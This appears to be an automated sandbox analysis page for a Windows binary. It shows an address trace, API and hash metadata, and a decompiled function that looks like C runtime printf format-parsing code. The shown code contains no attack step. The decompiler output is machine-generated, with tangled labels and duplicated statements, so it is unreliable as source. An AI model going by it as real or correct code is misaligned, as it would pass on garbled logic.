0x00428b88
0x00428b88
0x00428b8b
0x00428b8e
0x00428b91
0x00000000
0x00000000
0x00428b93
0x00428b93
0x00428b96
0x00428b99
0x00428b9c
0x00000000
0x00000000
0x00428b9e
0x00428b9e
0x00428ba1
0x00428ba4
0x00428ba7
0x00428bab
0x00000000
0x00428bab
0x00000000
0x00428ba7
0x00428b45
0x00428b45
0x00428b48
0x00428b4c
0x00428b4f
0x00000000
0x00428b51
0x00428b54
0x00428b57
0x00428b5d
0x00428b62
0x00000000
0x00428b62
0x00428b4f
0x00428b15
0x00428b15
0x00428b18
0x00428b1c
0x00428b1f
0x00000000
0x00428b21
0x00428b24
0x00428b27
0x00428b2d
0x00428b32
0x00000000
0x00428b32
0x00000000
0x00428bbc
0x00428bbc
0x00428bbf
0x00428bc2
0x00000000
0x00000000
0x00428ada
0x00428ada
0x00428add
0x00428ae0
0x00428ae3
0x00428afc
0x00428aff
0x00428aff
0x00428b02
0x00428ae5
0x00428ae5
0x00428ae8
0x00428aeb
0x00428af1
0x00428af7
0x00428af7
0x00000000
0x00000000
0x00428bc7
0x00428bc7
0x00428bca
0x00428bca
0x00428bd0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428bd8
0x00428bd8
0x00428bdf
0x00428be5
0x00428beb
0x00428bee
0x00428bf4
0x00428bfb
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428c01
0x00428c07
0x00428c07
0x00428c0e
0x00000000
0x00428f92
0x00428f92
0x00428fa0
0x00428fa0
0x00428fa3
0x00000000
0x00000000
0x00428c15
0x00428c18
0x00428c18
0x00428c1e
0x00428c20
0x00428c23
0x00428c23
0x00428c26
0x00428c26
0x00000000
0x00000000
0x00428d5b
0x00428d5e
0x00428d5e
0x00428d63
0x00428d65
0x00428d68
0x00428d68
0x00428d6b
0x00428d6b
0x00000000
0x00000000
0x00429158
0x00429158
0x00000000
0x00000000
0x00428cc5
0x00428cc5
0x00428cd1
0x00428cd7
0x00428cde
0x00428cec
0x00428cec
0x00428cf2
0x00428cf5
0x00428d01
0x00428d56
0x00000000
0x00428d56
0x00428ce0
0x00428ce0
0x00428ce6
0x00428cea
0x00428d06
0x00428d09
0x00428d09
0x00428d0f
0x00428d37
0x00428d3e
0x00428d44
0x00428d47
0x00428d4a
0x00428d50
0x00428d53
0x00428d11
0x00428d11
0x00428d17
0x00428d1a
0x00428d1d
0x00428d23
0x00428d26
0x00428d29
0x00428d2b
0x00428d2e
0x00428d2e
0x00000000
0x00428d0f
0x00000000
0x00000000
0x00428faa
0x00428fad
0x00428fb0
0x00428fb3
0x00428fb9
0x00428fbc
0x00428fc3
0x00428fc7
0x00428fd2
0x00428fd2
0x00428fd6
0x00428fed
0x00428fed
0x00428ff4
0x00428ff6
0x00428ff6
0x00428ffd
0x00428ffd
0x00429004
0x00429012
0x00429015
0x00429024
0x00429027
0x0042902b
0x00429040
0x0042902d
0x0042902d
0x00429030
0x00429036
0x0042903b
0x0042903b
0x0042902b
0x0042904a
0x0042904d
0x00429050
0x00429053
0x00429056
0x00429059
0x0042905f
0x00429065
0x0042906d
0x0042906e
0x00429071
0x00429072
0x00429075
0x00429076
0x0042907d
0x0042907e
0x00429081
0x00429082
0x00429085
0x00429086
0x0042908c
0x0042908d
0x00429093
0x00429094
0x0042909a
0x0042909c
0x004290a2
0x004290a2
0x004290a7
0x004290a9
0x004290ad
0x004290af
0x004290b2
0x004290b7
0x004290b8
0x004290bb
0x004290bc
0x004290c2
0x004290c3
0x004290c9
0x004290cb
0x004290cb
0x004290ad
0x004290ce
0x004290d5
0x004290d8
0x004290dd
0x004290dd
0x004290e3
0x004290e5
0x004290ed
0x004290ee
0x004290f1
0x004290f2
0x004290f7
0x004290f8
0x004290fe
0x00429100
0x00429100
0x004290e3
0x00429103
0x00429106
0x00429109
0x0042910c
0x00429111
0x00429116
0x00429119
0x0042911c
0x0042911c
0x0042911f
0x0042911f
0x00429122
0x0042912e
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x0042944b
0x00428fd8
0x00428fd8
0x00428fdf
0x00428fe2
0x00000000
0x00000000
0x00428fe4
0x00428fe4
0x00000000
0x00428fe4
0x00428fc9
0x00428fc9
0x00000000
0x00000000
0x00428c29
0x00428c29
0x00428c34
0x00428c3c
0x00428c43
0x00428c46
0x00428c46
0x00428c49
0x00428ca9
0x00428c4b
0x00428c52
0x00428c58
0x00428c5e
0x00428c65
0x00428c68
0x00428c6e
0x00428c76
0x00428c78
0x00428c7f
0x00428c86
0x00428c8d
0x00428c95
0x00428c97
0x00428c99
0x00428c99
0x00428ca0
0x00428cb0
0x00428cb6
0x00428cb9
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x00429136
0x00429139
0x0042913c
0x0042913f
0x004291bd
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x0042927d
0x00429282
0x00429285
0x00429287
0x0042928d
0x0042925e
0x00429262
0x00429267
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x0042923c
0x00429241
0x00429247
0x00429248
0x0042924e
0x0042921c
0x00429220
0x00429225
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291f3
0x004291f8
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291cb
0x004291d0
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00428e9b
0x00428e9b
0x00428ea7
0x00428ead
0x00428eb2
0x00428eb4
0x00428f5e
0x00428f5e
0x00428f61
0x00428f61
0x00428f64
0x00428f78
0x00428f7e
0x00428f84
0x00428f66
0x00428f66
0x00428f6c
0x00428f73
0x00428f73
0x00428f86
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428eba
0x00428eba
0x00428eba
0x00428ebc
0x00428eca
0x00428ebe
0x00428ebe
0x00428ebe
0x00428ed4
0x00428eda
0x00428ee0
0x00428ee7
0x00428ee9
0x00428eee
0x00428ef0
0x00428ef5
0x00428efa
0x00428efc
0x00428f01
0x00428f04
0x00428f07
0x00428f09
0x00428f09
0x00428f07
0x00428f0a
0x00428f11
0x00428f59
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00428f13
0x00428f13
0x00428f18
0x00428f34
0x00428f3c
0x00428f46
0x00428f49
0x00428f4e
0x00429665
0x00429668
0x00429672
0x00429672
0x00000000
0x00000000
0x00000000
0x00429151
0x00429151
0x00000000
0x00000000
0x00428d6e
0x00428d6e
0x00428d72
0x00428d80
0x00428d83
0x00428d74
0x00428d74
0x00428d74
0x00428d89
0x00428d8f
0x00428d95
0x00428da1
0x00428da7
0x00428da7
0x00428daa
0x00428e32
0x00428e32
0x00428e36
0x00428e38
0x00428e3e
0x00428e3e
0x00428e41
0x00428e48
0x00428e4b
0x00428e51
0x00428e51
0x00428e51
0x00428e57
0x00428e5d
0x00428e60
0x00428e66
0x00428e68
0x00000000
0x00000000
0x00428e6a
0x00428e6a
0x00428e70
0x00428e73
0x00428e75
0x00000000
0x00000000
0x00428e77
0x00428e7d
0x00428e80
0x00428e80
0x00428e88
0x00428e88
0x00428e8e
0x00428e8e
0x00428e93
0x00000000
0x00428db0
0x00428db0
0x00428db0
0x00428db4
0x00428db6
0x00428dbb
0x00428dbb
0x00428dbe
0x00428dc1
0x00428dc7
0x00428dd9
0x00428dd9
0x00428dd9
0x00428ddc
0x00428de2
0x00000000
0x00000000
0x00428de4
0x00428de4
0x00428dea
0x00428ded
0x00428def
0x00000000
0x00000000
0x00428df1
0x00428df1
0x00428dfa
0x00428e00
0x00428e04
0x00428e0c
0x00428e0e
0x00428e10
0x00428e16
0x00428e16
0x00428e19
0x00428e19
0x00428e25
0x00428e28
0x00428dd0
0x00428dd3
0x00428dd3
0x00428dd6
0x00428dd6
0x00428e30
0x00428e96
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00000000
0x00429148
0x00429148
0x004291bd
0x004291bd
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x0042927d
0x00429282
0x00429285
0x00429287
0x0042928d
0x0042925e
0x00429262
0x00429267
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x0042923c
0x00429241
0x00429247
0x00429248
0x0042924e
0x0042921c
0x00429220
0x00429225
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291f3
0x004291f8
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291cb
0x004291d0
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00429299
0x00000000
0x00429164
0x00429164
0x0042916e
0x0042916e
0x00429178
0x00429178
0x0042917e
0x00429180
0x00429185
0x0042918f
0x0042918f
0x00429192
0x00429196
0x00429196
0x004291bd
0x004291bd
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x0042927d
0x00429282
0x00429285
0x00429287
0x0042928d
0x0042925e
0x00429262
0x00429267
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x0042923c
0x00429241
0x00429247
0x00429248
0x0042924e
0x0042921c
0x00429220
0x00429225
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291f3
0x004291f8
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291cb
0x004291d0
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00429299
0x00000000
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x00000000
0x004289da
0x004289da
0x004289dd
0x004289e0
0x00000000
0x00000000
0x004289e5
0x004289e8
0x004289ee
0x00000000
0x00000000
0x004289cf
0x004289d2
0x004289d5
0x00000000
0x00000000
0x004289c4
0x004289c7
0x004289ca
0x00000000
0x00000000
0x004289f3
0x004289f3
0x004289f6
0x004289f6
0x004289f9
0x00000000
0x00000000
0x004289fc
0x00000000
0x00000000
0x0042892a
0x0042964b
0x00429651
0x0042965a
0x0042965f
0x00000000
0x0042965f
0x0042944b
0x00429422
0x00429422
0x00429426
0x00429433
0x00429439
0x0042943f
0x00429445
0x00429445
0x00429448
0x00000000
0x00429448
0x00429428
0x0042942e
0x00429431
0x00000000
0x00000000
0x00000000
0x00429431
0x00429387
0x0042938a
0x00429394
0x004293a3
0x004293ac
0x004293c2
0x004293c8
0x004293ce
0x004293d5
0x004293dd
0x004293dd
0x004293e3
0x004293e3
0x004293f2
0x004293fa
0x00429369
0x0042936f
0x00429372
0x00429375
0x00429377
0x00000000
0x00000000
0x00000000
0x00429377
0x00429369
0x004292a6
0x004292a6
0x004292ad
0x00000000
0x00000000
0x00000000
0x004292db
0x004292e1
0x004292ed
0x00000000
0x004292ed
0x004291bd

APIs

_get_int64_arg.LIBCMTD ref: 004291CB
__aullrem.LIBCMT ref: 0042939B
__aulldiv.LIBCMT ref: 004293BD

Strings

9, xrefs: 004293CE

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 875d9276aceb678d35790264082a6777909220599d710b69e8c7ddc3376842c0
Instruction ID: 457dc285cfe2ebe41e47666e0b10a00da62a675d0077ebf7654a5b84cfa2150b
Opcode Fuzzy Hash: 875d9276aceb678d35790264082a6777909220599d710b69e8c7ddc3376842c0
Instruction Fuzzy Hash: AE4115B1E0012A9FEB24CF48D881BAEB7B5FF89310F4444AAD549A7241C7785E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A3CE, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0042A3CE() {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E00429820(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E00429820(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E00429820(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E00429820(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00429840(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00429840(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(__eflags == 0) {
												E004297E0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0042AA50( *(_t674 - 0x1c), __eflags, _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E004297E0(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if(__eflags != 0) {
												L208:
												E0042AA50( *(_t674 - 0x24), __eflags,  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if(__eflags <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E00423790(_t674 - 0x40);
													_t539 = E00439180(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E00429780( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E004297E0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L00422680( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) + L"cur_max == 2") & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x4092e8) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x4092e8) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0042A94C))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E00429780( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x42a984; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0042A96C))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x42a9ac; // 0xa1c19003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0042A998))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
